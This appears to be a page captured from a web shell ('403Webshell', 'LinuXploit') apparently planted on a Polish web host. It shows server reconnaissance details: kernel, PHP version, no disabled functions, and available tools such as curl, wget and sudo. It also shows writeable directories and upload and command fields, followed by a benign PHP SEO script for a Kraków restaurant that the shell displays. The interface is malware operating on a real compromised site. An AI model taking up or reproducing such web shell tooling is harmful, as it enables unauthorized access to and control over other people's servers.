403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/tklm_seo_kazimierz.php
<?php
declare(strict_types=1);
/**
 * TKLM / Moja Polana Smaków - lokalne SEO Kazimierz, v1.0 / 2026-10-28.
 * Nie modyfikuje rezerwacji, bazy, formularzy, routera ani ustawień administracyjnych.
 *
 * Opcja awaryjna: zmień na false, jeśli globalny szablon już generuje schema Restaurant.
 */
const TKLM_KAZIMIERZ_JSONLD_ENABLED = true;

/** Zachowuje niestandardowy title i description wpisany w panelu. */
function tklm_kazimierz_meta(string $title, string $description, string $lang): array
{
    $plTitle = 'Restauracja Kazimierz Kraków | Moja Polana Smaków';
    $plDescription = 'Odkryj autorską kuchnię polską Andrzeja Polana na krakowskim Kazimierzu. Sezonowe menu, ul. Bożego Ciała 15. Sprawdź kartę i zarezerwuj stolik.';
    $enTitle = 'Polish Restaurant Kazimierz Krakow | Moja Polana Smaków';
    $enDescription = 'Discover seasonal Polish cuisine by Andrzej Polan in Kazimierz, Krakow. Explore the menu and request a table at 15 Bożego Ciała Street.';

    if ($lang === 'pl') {
        $oldTitles = [
            'Moja Polana Smaków | Restauracja Andrzeja Polana, Kraków',
            'Moja Polana Smaków | Andrzej Polan – Polish Restaurant Kraków',
        ];
        $oldDescriptions = [
            'Moja Polana Smaków – restauracja Andrzeja Polana na krakowskim Kazimierzu. Poznaj sezonowe menu, polską kuchnię i zarezerwuj stolik.',
        ];
        if (in_array(trim($title), $oldTitles, true) || trim($title) === '') {
            $title = $plTitle;
        }
        if (in_array(trim($description), $oldDescriptions, true) || trim($description) === '') {
            $description = $plDescription;
        }
    } elseif ($lang === 'en') {
        $oldTitles = [
            'Moja Polana Smaków | Andrzej Polan – Polish Restaurant Kraków',
            'Moja Polana Smaków | Restauracja Andrzeja Polana, Kraków',
        ];
        $oldDescriptions = [
            'Enjoy seasonal Polish cuisine by chef Andrzej Polan in the heart of Kraków.',
        ];
        if (in_array(trim($title), $oldTitles, true) || trim($title) === '') {
            $title = $enTitle;
        }
        if (in_array(trim($description), $oldDescriptions, true) || trim($description) === '') {
            $description = $enDescription;
        }
    }
    return [$title, $description];
}

/**
 * Rozpoznaje schemat Restaurant w head, w tym w @graph.
 * Nie na podstawie samego słowa 'Restaurant' w zwykłym HTML.
 */
function tklm_kazimierz_head_has_restaurant(string $head): bool
{
    if (preg_match_all('~<script\b(?=[^>]*\btype\s*=\s*["\']?application/ld\+json["\']?)[^>]*>(.*?)</script\s*>~is', $head, $matches) < 1) {
        return false;
    }
    foreach ($matches[1] as $raw) {
        $data = json_decode(trim($raw), true);
        if (is_array($data) && tklm_kazimierz_schema_contains_restaurant($data)) {
            return true;
        }
    }
    return false;
}

function tklm_kazimierz_schema_contains_restaurant(array $data): bool
{
    if (isset($data['@type'])) {
        $types = is_array($data['@type']) ? $data['@type'] : [$data['@type']];
        if (in_array('Restaurant', $types, true) || in_array('https://schema.org/Restaurant', $types, true)) {
            return true;
        }
    }
    foreach ($data as $value) {
        if (is_array($value) && tklm_kazimierz_schema_contains_restaurant($value)) {
            return true;
        }
    }
    return false;
}

/**
 * JSON-LD w body jest poprawny wg Google. Nie fałszujemy opinii, ocen,
 * cen i godzin pracy. Godziny są zarządzane przez panel restauracji.
 */
function tklm_kazimierz_restaurant_jsonld(): void
{
    if (!TKLM_KAZIMIERZ_JSONLD_ENABLED) {
        return;
    }
    $schema = [
        '@context' => 'https://schema.org',
        '@type' => 'Restaurant',
        '@id' => 'https://mojapolanasmakow.pl/#restaurant',
        'name' => 'Moja Polana Smaków',
        'url' => 'https://mojapolanasmakow.pl/',
        'description' => 'Restauracja na Kazimierzu w Krakowie. Autorska kuchnia polska Andrzeja Polana, sezonowe menu.',
        'telephone' => '+48790363368',
        'address' => [
            '@type' => 'PostalAddress',
            'streetAddress' => 'ul. Bożego Ciała 15',
            'postalCode' => '31-059',
            'addressLocality' => 'Kraków',
            'addressCountry' => 'PL',
        ],
        'servesCuisine' => 'Polish',
        'menu' => 'https://mojapolanasmakow.pl/menu',
        'hasMenu' => 'https://mojapolanasmakow.pl/menu',
        'acceptsReservations' => 'https://mojapolanasmakow.pl/rezerwacja',
    ];
    $json = json_encode($schema, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
    if ($json !== false) {
        echo "\n<script type=\"application/ld+json\">", $json, "</script>\n";
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit